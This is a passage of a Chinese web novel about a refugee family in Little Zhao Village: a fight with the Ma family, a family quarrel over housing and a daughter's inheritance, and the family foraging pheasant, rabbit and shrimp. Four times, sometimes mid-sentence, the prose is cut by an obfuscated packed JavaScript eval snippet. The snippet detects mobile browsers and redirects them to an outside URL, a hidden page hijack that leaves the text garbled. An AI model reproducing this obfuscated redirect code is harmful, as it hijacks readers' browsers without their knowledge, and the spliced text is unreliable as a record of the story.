不过小赵村里她还真的没跟谁玩得特别好,以前有一个,但是逃难时被她爹卖了,这样的世道能重逢的概率太小。能一路跟着到小赵村的女孩不多,拢共二十个,大部分家里兄弟多,打小被教着重男轻女,开口就是不中听的话,她不喜跟她们玩。 俩人下山的时候赵二刚恰好浇完最后一趟水,一家人齐齐回家,赵夏至拿着两个官府发的空桶,柴火被她爹拿去了。 等到了家,赵夏至朝她爹炫耀了野鸡蛋,“看,我捡到了八个,有一个碎掉了,浪费。”她碎碎念,“我们今天就吃吧?好饿好饿,吃一个吧。” “吃。”赵二刚与李柳叶异口同声,赵二刚去找陶罐子,然后摸出来一个火折子,开始烧火。 李柳叶晃了晃鸡蛋,说道:“今天和明天我跟你爹一人一个,剩下的你每顿吃一个,这天热,鸡蛋放着容易坏。而且你多补补,正是长身体的时候。”她总是想着这事,愧疚心就像蚂蚁爬身,让她日夜难安。 她生了夏至,却又没把她养好。 “我们三个人分,我不吃独食。”赵夏至双手捧着脸,陶罐子里的鸡蛋浮浮沉沉,鼻尖还有一股柴火独有的烟味,呛,但是格外让她安心。 鸡蛋煮好了,三人迫不及待地敲碎,连蛋壳都丢进嘴里咬着,嘎嘣嘎嘣,脆得很。 蛋黄很噎,赵夏至喝了两口水,又慢慢吞吞把蛋白吃完,一个鸡蛋下肚,她摸了摸肚皮,说道:“像银子丢进了河里,都听不到个响。” “傻孩子,那么小一个鸡蛋,哪里能吃饱。”赵二刚咋咋舌,还在回味。 “这三个你明天吃。”李柳叶捞起五个煮好的鸡蛋递给赵夏至,三个让她自己收着,剩下两个她明日和二刚一人一个,一次煮好还能省一点柴火。 天热,鸡蛋放不了多久。 “二刚叔柳叶婶子,不好了不好了,大刚叔和金花婶子被马家的爷们打了,富爷爷和刘奶奶让我喊你们过去帮忙。”一个小子急匆匆跑进来,他爷爷跟赵老头是堂兄弟。 村里姓马的就一大家,抓阄分屋时恰好分在赵大刚隔壁的是马家老大和他的儿子。 赵夏至三人是慢慢走着去的,这走急了要是帮忙挨捶了怎么办?都那么穷,马家连个菜叶子都赔不起,他们可不吃那亏。 还没到地方就听见了鬼哭狼嚎的声音,还有不少人围着,赵二刚在前头开路,“叔伯婶子让让,让我们进去。” 赵夏至挤进去,才刚看了一眼就挑眉。赵大刚跟赵耀祖被马家的三个男人压着打,何金花在一旁也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697173|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟两个男人掰扯,她倒是厉害,见男人儿子被伤害,大杀四方,回回冲着下三路去。 “二刚,你上去帮帮你哥。”赵老头见老二来了立即喊道,“你哥都被打成啥样子了,马家你们一家子遭瘟的,还不快点住手。”他声音有些哑,也不知喊了多少回。 赵二刚撇撇嘴,“爹我可不去,先不说是谁的错,这明天还要干活,伤着了耽误不起。还有,三刚比我来得早,他咋不去?”哎呦,又发觉了家住村头的好处,往后大房被打,他还能慢些来。 赵老头瞪眼,没想到才分家,老二家不听他的了。 赵三刚可不愿意管这些,而且不是还有他娘帮他说话么?他也就心安理得看戏了。 “你们马家都不是好东西,忘恩负义的畜牲,从上到下都是贱.人。”何金花一脚踹向马家老大的裆部,把他踹得一个踉跄倒地,随后拿起挑水的扁担一下打在马家老二腰上,又去帮赵大刚和儿子,竟然压着马家人打。 “金花打架这么厉害,天老爷,以前没看出来。” “嚯,她一个打五个。” “妮子婶子,我哥我大嫂因为啥跟马家人打起来了?”赵二刚问旁边的一个大婶子,要说村里哪家风评最差,当属马家人。 他家马老头家里穷,娶不起娘子,只能入赘到小赵村一户姓李的人家,这李家老头行医,有一对儿女,但儿子上山采草药不幸被蛇咬了没救回来,只剩下一个女儿,后面就招婿,说好生下来的孩子跟他们家姓李,一开始马老头应得爽快,等李老头死了之后,立刻翻脸。 不仅对娘子动辄打骂,还把两个儿子的姓改成马,也就是现在的马老大马老二。李家的女儿身体不好,原本生了两个就不再生的,那马老头硬是逼着她再怀,谁知生的时候难产,才二十岁左右的人就那样没了,那个生下来的女婴也被马老头丢到山上,大抵也是随她娘一起投胎了。 而马老头占了李家的家产,又买了一个娘子,她没有姓与名,年轻时大家叫她马婶子,老了,叫她婆子,也就是现在的马婆子。马婆子生了三个,又养大前头两个,如今五个儿子都喊她娘。 马家剩下的两个孙辈男丁分别是老大老二的独子,马家老三本来娶了娘子,还没生孩子,逃荒路上学着两个哥哥把妻子卖了换取粮食。 马家一家八口,除了马婆子,其余都是男人,妻子女儿通通卖了。 原本村里人提议把他们逐出小赵村,但好些人不同意,因为马家壮年男丁多,要是有人找事,他们往那一站就能吓退人。逃难可不容易呐,山匪随处可见,他们本来就是平民,要是男人再不多,被山匪拉走烤了都有可能。 再一个,也有人瞧不上女子,觉得人家马家卖的是自己家的女子,别人家插手那么多做甚。 卖妻卖女的又不是独他一家。 赵夏至听她爹娘说过这些,所以哪怕对何金花不喜,但也没有非常讨厌她,因为她没有卖两个女儿,从这个方面看她为人还不算十分坏。 5. 赵大刚挨锤 “他们怎么打起来的?” 妮子婶子回他,“听说是马家那两个小的偷偷摸摸扒在墙根边偷看你大哥一家洗澡,不过没看着,被传宗发现了,他一嗓子吼起来,何金花就冲出来给了马虎和马豹几巴掌。马家几个能就这样看着孩子被打?登时就还手,后头就打起来了。” 有个男人听见这番话,猥琐地笑了笑,“当真没看见?” 赵夏至就站在他旁边,闻言不动声色地踩了他一脚,这个混赖子逃难路上没了一家人,唯一一个大姐也被他卖掉,换来的钱自个吃完了,鞋子破破烂烂,脚趾突出来,正正好被踩中。 “啊——”混赖子痛呼,捂着脚单跳。 “你让让,婶子我站这里才能看见。”李柳叶配合女儿,用手肘把混赖子肘出去。什么人,搁这说这种话,放在以前这不是坏了女孩清白吗? 这几年倒是好些,逃难连命都保不住,对于清白没有以前那么看重,不会因为一句没有证据的话就逼死一个女儿,以前呐,女娃们都不容易。 “好了,把他们拉开。”赵柏到场了,他面子还是有的,几个男人上前分开他们,他就皱眉,毫不客气地训斥道:“才安定没一个月就打起来,算怎么一回事?这还要种地还要修屋,你们不累?大刚子你看看你脸上的伤,还有你几个,几个老爷们欺负金花一个女人,羞不羞。” 马家几个男人憋红了脸,又不好意思说被何金花压着打,这不是擎等着丢人吗?一个个不说话,默认了。 “村长,刚子他叔,你要为我们做主啊,他们一家都恶心,这墙没了大半,他们两个小的想着偷看,说不定大的也是有这个想法,只不过派出小的试一试路。被我们发现了还反过来打我们,看给我大刚还有耀祖打成什么样了?”何金花心疼,这家里连根毛都不多,哪里找药酒涂啊?会不会留疤? 骂着骂着,她又看见了一旁的两个女儿,“还不快点来看着你爹和你哥,你们两个没一点机灵。” “你松开我,我去看看爹。”大丫急急说道。 三春撇撇嘴,松开了拉着大丫的手,她们咋帮? “依我看,就该把马家赶出我们村,他们做的事哪一件是好事?卖女儿带坏了别人的孩子,现在自己家的儿子就偷偷摸摸扒墙根,保不齐大的那些个就偷看各家女人冲洗了,家里男人多的还能讨回公道,要是家里人少,男人又不顶用的,那不是只能吃了亏自己吞?”一个嘴巴边缘有颗大痦子的女人高声说道,掷地有声! 这人倒也不是多管闲事,恰恰相反,她跟马家一家子还有一段故事呢。 马家老大三年前先后卖女儿,在卖小女儿的时候,痦子婶的大女儿李禾草也说要卖身,她自己跑到牙婆身边,指名道姓要跟马老大小女儿卖到同一个地方,痦子婶气得翻白眼,拉着李禾草不许她走,谁知一向听话的李禾草挣脱了,还说自己要去过好日子。 牙婆买谁不是买?痦子婶不同意也没用,她上边的婆婆还在,拍板决定卖了李禾草。 就那般,李禾草高高兴兴跟着牙婆走了,也不知她图什么? 跟了牙婆虽然能吃饱,但很多黑心牙婆子把女孩卖去暗门子,清白搭在那里不说,这一辈子连个盼头也没有。 因为李禾草的事,痦子婶恨上了马家的人,觉得要不是他们卖女儿,她的女儿也不会跟牙婆走了,先前在路上说要把马家赶出村里的也是她,如今针对马家的还是她。 “你们都想一想,他们家唯一一个女人是马婆子,这些爷们两三年没个婆娘,如今稳定了,能不想那档子事吗,但是他们家能娶到娘子吗?哪家愿意嫁女儿给他们?没法子,他们肯定会盯上村里的娘子们,我可是为了各家着想才这么说。” 痦子婶这番话有一定的道理,有些人赞同,比如只剩下婆媳两个的田婆子与菊红,也有人不赞同,比如王大财,这马家的人爷们一看就是有事会搭把手的,值得当兄弟。 这你一言我一句,把马家人架在那里了,赵柏厌烦,“这件事开头就是你们错,咋教孩子的?”大刚家里一个女人两个闺女,甭管他们看谁,那都是不对。 “何金花你也有不对,给马虎和马豹打成什么样了?脸肿得像被蜂蛰过。”一人打了一板子,赵柏继续说道:“马家的,你们打算怎么解决?没得说句不轻不重的话就算了,你们要么离开小赵村,要么替大刚他们干活,给他们浇地,至于浇个几天,大刚你咋看?” 赵柏偏向于大刚,两家有血缘不说,最重要的是他一直都知道马家老大也想当村长,当初给村子起名时他就有些意见,要不是他压得住,马家还不翻了天? 今天他得好好树一番威信! “一个月。”赵大刚捂着腰,“没一个月我可不答应,我伤着了,哪哪都疼。” “不可能!”马老大脸色自然难看,“一个月?你伤了我们没伤?我们兄弟五个被你婆娘打得都是印子,这不算抵了?最多五日,我们还有自家的田要顾着,帮了你,我们活不活了?” 马家其他人也纷纷说,“我也挨打了,还没叫你们赔呢。” 眼见着又要吵起来,赵柏摸了摸干瘪唱曲儿的肚子,没好气地说道:“都静一静,十日咋样?你们兄弟五个一人两日,替大刚家里浇地,十日不多也不少。都快些定,我没力气替你们张罗了。”拢共喝了一碗粥,本来就不饱,给他们主持公道又废了力气,更饿了。 马家人只能捏着鼻子应了,何金花活像打了胜仗,昂首挺胸,呸了马老大,“把儿子看住了,才多大就偷偷摸摸,大了说不定杀人都敢。” “臭娘们。”马老大骂她。 一场闹剧终于结束,村民们三三两两离开,好些时候没有热闹过了,这一场好戏足够他们翻来覆去讲个十天半个月。 * 这一头结束了,那厢,赵富银家里却刚刚起了事,赵老头板着脸,对赵二刚和赵三刚不悦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697174|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“你们两个咋回事,没看人家五兄弟多齐心,你们就不肯帮一把大刚,瞧大刚给打的,能见人么?” “不能见就不见呗,这不是有十日不用干活嘛?”赵三刚羡慕地看了自己的大哥一眼,流里流气地说道:“我还想这好事在我身上呢,可惜没人瞧我擦洗,不然我也能发作。”十日不用干活,那还是值得。 赵富银差点被他气个倒昂,“你说什么混话,哪有你这样想的?”他怎么生了这样一个不省心的儿子! 刘桂香帮着赵三刚,“当家的你也别说三刚,他不是还没娶婆娘,这要是给那家子打坏了可怎么整?”说着,眼刀子扫向赵二刚不满地说道:“二刚也是的,就干看。” 赵二刚当个锯嘴葫芦,他们说就说,他左耳进右耳出,当没听着。 刘桂香也跟着气了,这一天天,没一个省心的。 “好了,把你们叫来不是说这事的,毕竟都说好了,现在说还有什么意思?”赵富银拔高声音,“大刚家里还没修好,按照进度,最快也要二十来天。他家人多,光是女人女娃娃就三个了,住在马老大隔壁的确不大好。” 如今好些人家里修缮好了就不肯出力了,上午就磨洋工,下午给自家田浇水就干的飞快。偏偏老大一家倒霉,住村尾最后一家。 赵夏至眉心一跳,几乎已经预料到她爷爷要提及她家了,毕竟就她家最宽敞,而且家里有她娘,不会惹人闲话。 “我想着让她们娘三暂时去二刚家里住着,三刚那儿不方便,他一个大老爷们单着住,嫂子去他家教人说嘴。”赵富银自觉自己很有道理,“二刚子,你大嫂还有侄女她们也住不了多久,过了这段时日就好了。” 赵二刚撇嘴,那可不成,先不说何金花性子如何,他们家还有鸡蛋呢,这仨来了之后瞧见了,必定又要生事。他闺女吃个鸡蛋补身体容易么,可不能让她们坏了事。 “爹,我不同意,家里可没有多余的地方了。别说什么挪挪腾腾住得下,我住的舒坦为何要住得挤?也别说我没良心不顾着侄女们,这不是还没到那个地步么,她们擦洗的时候让大哥还有耀祖在外头守着不就行了,这要是没看住,那不也是爷们不行?真要为了她们好,不如让三刚过去跟大哥住,让她们仨住三刚那里,三刚那里刚刚修好,住得舒服。”赵二刚惯来是这个脾气,死道友不死贫道。 他不得看重,打小就得为自个争取,反正让他吃亏,没门! “我觉得二刚说的在理,这住我们家虽然不耗什么粮食,可浪费地方啊,那都是要囤柴火的。爹说的二十多天还是快的,慢一些一个月都完不成,这一个月多不方便。”李柳叶出声,她预备上山打猎物的,要是打回来了,何金花眼馋怎么办? 哪怕不给她,大丫和三春还能不给?退一步讲,何金花肯定会给她嚷嚷出去,到时候全村都知道了她打到野物,多少眼睛盯着,凭空多了不少麻烦。 夫妻俩一致对外! 6. 吵闹 赵夏至想要鼓掌,还好她爹娘不是那等耳根子软的人,不然能被骑在头上作威作福。 赵三刚不乐意了,这咋还扯到他?他闹,“我不愿意,我刚分到的房屋就给大嫂住?哪门子的道理,住着住着还是我的么?”赵三刚看向何金花,撅嘴,“大嫂的为人谁都清楚,挑粪的路过还要吸两口,不然就是亏了,让她到我那儿,指不定得少些什么。” 何金花忍不住,叫道:“赵三刚你什么意思?你家里什么都没有,我能拿你什么?” “我那房子不是?我现在是还没有成亲没有儿子,谁知道你是不是谋上了。”赵三刚哼了一声,他与两个哥哥年岁差得大,也就比耀祖大四五岁,所以被宠得跟个二愣子一样,向来有话直说,谁也不惯着。 何金花有一瞬间的心虚,瞥了眼旁边的赵二刚,又恼怒赵三刚讥讽他,一时间脸憋得像只紫茄子,许久才梗着脖子说一句,“我才不会,谁家没有房子?你那破房屋当我稀罕?” “房子跟房子差别也大着呢,谁会嫌房少?”赵三刚冷笑,不爽何金花贬低她的房子,气冲冲地说道:“爹娘这户房,二哥那户,你敢说你没有惦记着?” 嗞,赵三刚这是把事儿扯开了遮羞布来讲! “我那日躲阴偷听见了,你跟大哥提起二哥的瓦房,哼,二哥是没有儿子,这不是还有夏至吗?轮不到你!”赵三刚傲然抬头,虽然他浇地偷懒,但能偷听到话,那就是本事。 何金花双手搅紧,脸色青青白白,住一起那么多年,谁都清楚她那是被说中了心思才有的表情。 这青砖大屋到手还不到一个月,何金花这就惦记上了?赵夏至委委屈屈,“大伯母,你咋一直盯着我们家?这回头睡觉我们都不安稳了。” 赵二刚皱眉,“大嫂,我虽然这辈子只会有夏至一个,但是我和叶子的一切都是留给她的,往后她招婿,孩子也是跟着姓赵,也是住咱们的屋子,跟你们有什么关系?”他不单独骂何金花,还骂赵大刚,“你甭躲在大嫂后面,我知道你肯定也有想法,我告诉你们,我,赵二刚,挣的攒的那都是给我女儿留的,那是我给她的底气,不是给你们大房的。” “何金花,平常那些小打小闹我不跟你计较,你要是敢记着我女儿的东西,看我不给你皮扒了!”李柳叶恨恨地说道,从前她打了猎物,赵大刚和何金花没少吃,转头就翻脸? 忒不是人了! “二刚子,咋说你哥的,他们讲的也是实话,夏至一个女娃,你又不能生了,往后不得过继一个男娃?”赵富银拉着脸,“没个男娃哪里成?那不是绝后了?” 刘桂香也跟着说,“可不是,夏至一个女娃,招婿生的也是别人家的种,你把东西给她那不是吃了大亏,还不如念着你的侄子们,你对他们好,将来他们能给夏至撑腰。” “娘,这话我就不认同了。”赵三刚一张嘴,骂上了两个侄子,“他们两个都是让大丫三春照顾着,能有什么出息,连自己亲姐姐妹妹都沾不到他们的好,夏至隔了一房,更指望不上了。” 赵三刚扫了耀祖和传宗一眼,没眼看! 明明是三兄弟,可相互之间并不愿意搭把手,你看不上我我看不中你。 “好了,都是一家人,闹成这样很好看?”赵富银生气,“马家怎么就拧成一股绳?你们就不行。” 赵三刚嘀咕:他们还扒墙根偷看呢。 “起码人家东西都是五份。”赵二刚回怼,赵大刚成亲时家里砸锅卖铁,终于让他娶了何金花,到了他这里只能自个想办法,亏得岳父岳母不介意。 这些年区别对待,他一直记着,时不时给些不值钱的东西给爹娘可以,要他掏心掏肺对大房三房,甭可能! 赵夏至拉了拉她娘的手,在她耳边小声说了两句,李柳叶便点了点头,“爹娘,不若这样,既然三刚不愿意,爹去大刚那里住,何金花跟她们两个来和娘住,等房子修好了再回去。”还是她女儿聪明,折腾他们不如折腾老两口。 “这个法子好,爹娘不是心疼大哥一家,住一起还能心贴心地心疼,挺好。”赵二刚支持。 赵三刚点头,这样最好了。 “当家的。”刘桂香扶着晕眩的赵富银,“当家的你没事吧?” 赵富银好不容易缓过神,“都走,都走,我这是做了什么孽,养的儿子都这样不孝顺。” 赵二刚率先拉着妻女走了,“爹娘早点睡。”孝顺?让大刚三刚做吧。 把那些事丢在身后,赵二刚对赵夏至说道:“别怕,爹不会让你的东西给别人夺去了。” 赵夏至笑道:“爹最好啦。” 李柳叶故意问,“娘不好?” “都好。”赵夏至一手拉一个,哼着不着调的歌,她爷奶大伯大伯母三叔可真是极品,还好她爹娘不是啥任人宰割的傻子。 她对爷奶没什么感情,两个老人更喜欢大房的孙子,对她瞧不上,嫌她是个女娃。 这还是孙辈不多的情况下,要是何金花再生,赵三刚又娶娘子,往后孙子孙女多了,她在老人那里更没地位了。 不过她不在乎,现在分了家,她只需要顾着自己家就好啦。 “当年我聪明吧?这要是让他们知道了,保管让我休掉你再娶。”赵二刚小声说,“我肯定不会对不起你。” 李柳叶推了推赵二刚,“孩子在这里。”凑那么近干什么? 赵夏至快步,当做没看见。她爹说的事她也知道,当年她娘怀着她回外家拿些兔子回来补身,不小心踩空早产,千辛万苦生下了她,产婆就说她娘伤了身子,再也不能生了。 后头她爹给了产婆封口费,回去爷奶那边的时候给的解释是:他踩空撞在了男人最重要的那处,再也生不了,李柳叶受惊早产。家里人暗地里更看不上他,他也不在乎,反正没谁能占他便宜。 赵夏至喜滋滋地想,她爹娘感情可真好。再一个,她也更想只有她一个,什么兄弟姐妹,没必要。 爱和房屋都是她的,这不比拥有十个兄弟姐妹来得强? 闹了一天,今天睡得倒是快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697175|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >第二天一早,赵夏至吃了一个鸡蛋,她想把剩下的两个分给爹娘,但他们坚决不要。还说自个已经吃过了,饱得很。 “我们夏至是个有福运的,等你再捡到什么鸡呀兔呀娘再吃。”李柳叶哄她,“快些吃。”她无意识吞了吞口水,挪开了视线。早上一个鸡蛋下肚,那跟没有吃差不多。 今天照旧修房屋,不少人明里暗里偷懒哩,村长喊都没有用。 中午喝完了粥,各自回家歇息,大丫忽然带着三春靠近赵夏至,“你今天上山捡柴么?我们一起吧,咱们三个有个照应。” 赵夏至警觉,昨儿两房才闹了矛盾,今天大丫就过来?她努努嘴,“不用了,我跟我娘去的。” “那也成啊,二婶娘可以带着我们。”大丫说。 赵夏至扭头看向大丫,她今年十岁,大丫比她大三岁,十三岁了,咋听不懂人话? “不了,我跟我娘不定时候去的,你跟耀祖上山不是更好。”赵夏至拍拍屁股走向家门。 “姐,我都说了不要来,夏至本来就跟我们玩不到一起去。”三春说,“娘给你说的话你不理就是了,何必老是烦着夏至。” “可是,可是我们都是女娃啊,是该凑一堆的,男娃才独自玩。”大丫心里又酸又涩,二叔二婶说什么东西都留给夏至,这可跟她一直以来看见的都不一样,家家户户不都是更看重男娃吗? 为什么二叔二婶家不一样? * 赵夏至骗了大丫三春,她等两人走远了,与爹娘一起上山。天热,山上还凉快一点。 李柳叶与赵二刚各自散开捡柴,现在外面一点的树枝都被捡光了,那些小孩子没事干就上来捡,他们只能进里头一点拾柴。 赵夏至拿着小棍子扫草丛,心心念念能不能再找到野鸡蛋,要是能直接来一只野鸡就好了,她嘴里叨叨地念着,“野鸡,野鸡蛋,野鸡,野鸡蛋。” 在哪儿有? 这找来找去,都没找着,枯草嫩苗倒是一大堆,这也不能吃啊?赵夏至看着看着,忽然瞧见了几丛嫩嫩的绿苗,她低头嗅了嗅,是韭菜! 她左右开弓,一手拔一扎,把所有韭菜拔起来后拿给赵二刚看,“爹,瞧瞧我厉害吧?” “韭菜?这可是好东西。”赵二刚接过来放在小篓子里,“也不知能不能找到竹子,我做个竹篓子,这个是官家的,得还回去,没了之后上山捡到东西都不趁手。” “咱们多上来找找,我娘哪里去了?”赵夏至抻长脖子望,没瞅着。 “往里面进一点了,说是见着了野鸡脚印子。”赵二刚指了指,从他那看能依稀看见李柳叶半侧身影。 父女俩正说着,树哗哗作响,一声尖利的鸡叫过后,李柳叶捏着一只野鸡脖子出现,“瞧,咱们今天有口福了。” “野鸡,不过没什么肉。”赵夏至戳了戳半死不活的野鸡,这野鸡估摸着也就两斤多。 “人都吃不饱,鸡咋吃饱?”李柳叶手一挥,豪迈地表示,“咱们烤鸡吃!” 吃烤鸡! 7. 烤兔子 一家人找了一个稍微空旷一点的地方开始生火,柴火都是现成的,碍不着什么事。赵二刚弄火堆,李柳叶在水潭边拔鸡毛,赵夏至在附近走走,看看能不能发现什么。 等鸡架子火上烤着,赵夏至还说,“把韭菜塞进去一起烤,香。” “成。”赵二刚点头。 赵夏至安心了,又起身四处看,这山里对他们而言简直就是宝地,但凡能有发现都能混一顿饱。 “娘,那边有个洞。”赵夏至眼尖,紧着过去扒开杂草,还没看清楚是不是兔子洞,一只黑灰色的身影窜出来,跳的又快又高,她急了,下意识地捡起地上一块石头对着那道身影砸过去,“啪”的一声,一只兔子掉在草里。 兔子的脚还在抽搐,没完全死透。李柳叶过去拽着兔子的耳朵,回头给赵夏至竖起大拇指,自豪地说道:“这准头,没话说,往后再练一练,百发百中。” 赵夏至没想到随手一扔能中,这会儿屁颠颠跑过去摸着兔子,“娘,咱们母女俩齐心,准能顿顿吃肉。这洞里的兔子我们还抓吗?” “好。”李柳叶说,她看了看兔子洞,摇摇头说道:“这一只是自己傻跳出来,兔子都有好几个洞口,受惊之后四处逃,抓不到了。”徒手抓难,要是有工具还能试一试。 烤鸡的味道逐渐传出来,伴随着滋滋滋冒油的爆皮声,再定睛一看,烤鸡表面已经微微泛黄,香气、声音以及漂亮的金黄色霸道地占据了五感,赵夏至不自禁重重吸了一口气,“好香啊。” 咕咕咕,肚皮在唱空城计。 “咋还打到了兔子?”赵二刚惊喜,这是啥好日子,过年都没有这么美。 “夏至一丢石头,那兔子就蹬腿了。”李柳叶讲得干巴巴,倒是不妨碍赵二刚夸赵夏至,“整个小赵村,头一份。” 赵夏至得意地抬下巴,她终于理解了她娘说的手痒是什么感觉,她现在还想再打一次! “兔子咋处理?”赵二刚又问。 “也烤吧,带回去惹眼,又养不了。”李柳叶说,“何况这一带出去,他们盯着怎么办?”都缺肉吃,公爹婆母大房他们能没想法? “可不是,不能叫我爹娘上门,没一个好的。”赵二刚与李柳叶想到了一起去,他可不作傻子,擎等着给别人送肉。 赵夏至激动地小声说道:“烤兔子,都烤。”这多了一只兔子,又能吃得更饱点。 “嗝。”半个时辰后,赵夏至打嗝。 烤鸡鲜嫩多汁,鸡皮爽嫩滑口,鸡肉紧实带着柴香,韭菜吸了不少鸡油,又因为自身是菜叶子,刚好解腻,烤兔子微微焦,一口咬下去连皮带骨嘎嘣脆,在嘴巴里嚼久了满口留香。 满足了,好久没这样大口大口吃过肉,赵夏至眯着眼睛,犯困。 一家三口都吃了个肚溜圆,休息了好一阵儿才起身,正预备下山,忽然听见了有人说话的声音。 仔细一听,是马老大和马老二,他们咋上山了? 赵夏至躲起来,跟她爹娘一起蹲着,马老大的声音由远及近,“我都闻到了,你还不信。烤鸡的味道,看来有人抓到了野鸡。” “咋不是我们找到的,会是谁找到的?赵大刚?他不是挺有运气的吗?”马老二说,“这个瘪犊子玩意,打我们不说还害得我们要给他干活,现在还是吃上了烤鸡,他配吗!” “下回咱们盯紧点,跟着赵大刚,等他找到了咱们截胡。”马老大一脸狠劲儿,他摸了摸嘴边的伤,这是跟赵大刚杠上了! 本来昨日偷摸看赵大刚就是为了看他是不是找到了好东西,逃荒途中赵大刚那可是回回都有好运气。 马家两兄弟搂着柴下了山,赵夏至她们等了等才顺着山路下去,回到了家,赵二刚低声得意道:“咋样,我之前使的法子不错吧?” 先前逃难时赵二刚就想到了女儿的福气会很显眼,自个家人知道那是没办法,可不能让外人知道。他便找到老汉还有大哥,特意提了这件事,把夏至找到的食物说成是赵大刚好运才寻到的。 那时如果是一只鸡一个鸡蛋,都属于自家的东西,要是找到了野猪鹿子,那就是全村都能分一杯羹。 而在村民眼中,赵大刚运气好,那些眼睛明里暗里盯着他,没有人注意赵夏至,让她不至于打眼。 “我怕大房那边大嘴巴说出去。”李柳叶皱眉,先前大家都受益,如今分家了,大房没便宜占,何金花能忍?只怕有一天秃噜皮就跟其他人说了。 “现在说也不碍事,咱们慢慢定下来,上头有官府在,伤不了我们的夏至。”赵二刚把道理掰开来仔仔细细说了,逃难时运气好可是一把两头刃的剑,要是村民们得知夏至一个女娃娃是福娃,会动什么歪心思还不一定呢。 毕竟世道就是这样,看不起女娃娃,而且那个时候买卖女孩都是常见的事,他不得不防。 倒是赵大刚运气好虽然惹眼,可他一个大老爷们,村里跟他有关系的叔伯兄弟不少,没有人敢打他主意。 “大房将来过得好不好我不知道,咱们家过得好就成了,让他享受了几年别人的尊重还不够么?”赵二刚摸了摸赵夏至的头,“我都没有找他算银子呢,光是占我们夏至便宜了。” 赵夏至再一次庆幸她爹也是个极品,这不正好克了爷奶大伯三叔吗? 挨过了最热的响午,李柳叶与赵二刚又去浇水了,赵夏至则是拎着木盆跑到了河边张望,没有鱼,但是她眼尖地看见了一些河虾,很小,可再小也是肉。 河很长,蜿蜒曲折,三三两两的小孩散落在河流各段,赵夏至瞧见了赵耀祖和赵传宗,倒是没看见大丫和三春。 不管恁多,她挽起打了很多补丁的裤脚,下河摸河虾,河水大概到她小腿肚的位置,她伸手摸虾,一手抓两个。 大丫还有三春被她们娘特意嘱咐了,要盯着赵夏至,所以她们老远就发现赵夏至在河里摸什么东西。 “你回去拿个盆,我去瞧瞧。”大丫对三春说,她急匆匆赶到河边,瞧见了木盆里有蹦蹦跳跳的虾子,“夏至,你咋不叫叫我们。” 这可是肉,是吃食! 赵夏至翻白眼,“耀祖和传宗都烤着虾子吃了,你和三春还不知道?”她自家的人都不叫她,赖她? “啊。”大丫放眼望去,才瞧见哥哥弟弟吃得正香,她红了脸,为难地挽尊,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697176|189013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那你喊一声也成。” “姐,咱们去那边,叫他们分给我们。”三春空着手回来,一手扯了大丫就往下游走,嘴里还嘟囔着,“他们早拿走了木盆,还不跟我们说,凭什么。” 她们还去山上捡了柴火才回家,那俩啥都不干还吃虾子,该是分给她们才对! 赵夏至没理会这些事,只是一心二用,分心在想:三春比她小一岁,四岁多就跟着逃难,因为是一大家子搁一起,何金花照顾传宗,顾不得三春。她娘好心,还时不时带一带三春,所以三春不像大丫那样唯何金花马首是瞻。 也是等三春大了,何金花发现三春跟她娘更亲近,自然不乐意,于是不许三春混着她们二房。 “快点来,夏至脚边很多虾子。”几个小子相互叫着,不一会儿,夏至周围就围了五六个男娃,其中两个是马家的。 “为啥她那里的虾子那么多?”马豹不解,他们刚刚来的时候到处看过,这里并没有什么河虾他们才去了下段。 “你让一让。”马虎惯来霸道惯了,他指着赵夏至说道:“你去那头,这里我们占了。” 赵夏至可不是那等好欺负的小孩,她把手里的虾丢进木盆里,叉腰,“滚开,再多说一句我砸你。”她捏着一块石头,气势汹汹! 马豹扯了扯马虎的衣袖,“哥,她可是打残过人的,咱们可能打不过她。” 被马豹一说,马虎就记起来逃难时有人要抢食物,他们村和别的村打架,赵夏至拎着一条棍子砸断了两个小子的手臂,跟她那个不好惹的娘亲一样,都是母老虎! “谁敢跟我打?”赵夏至吼道,她挨个看了一眼,“离我远一点,别想什么馊主意,不然我把你们拉出来每个都打一顿。” 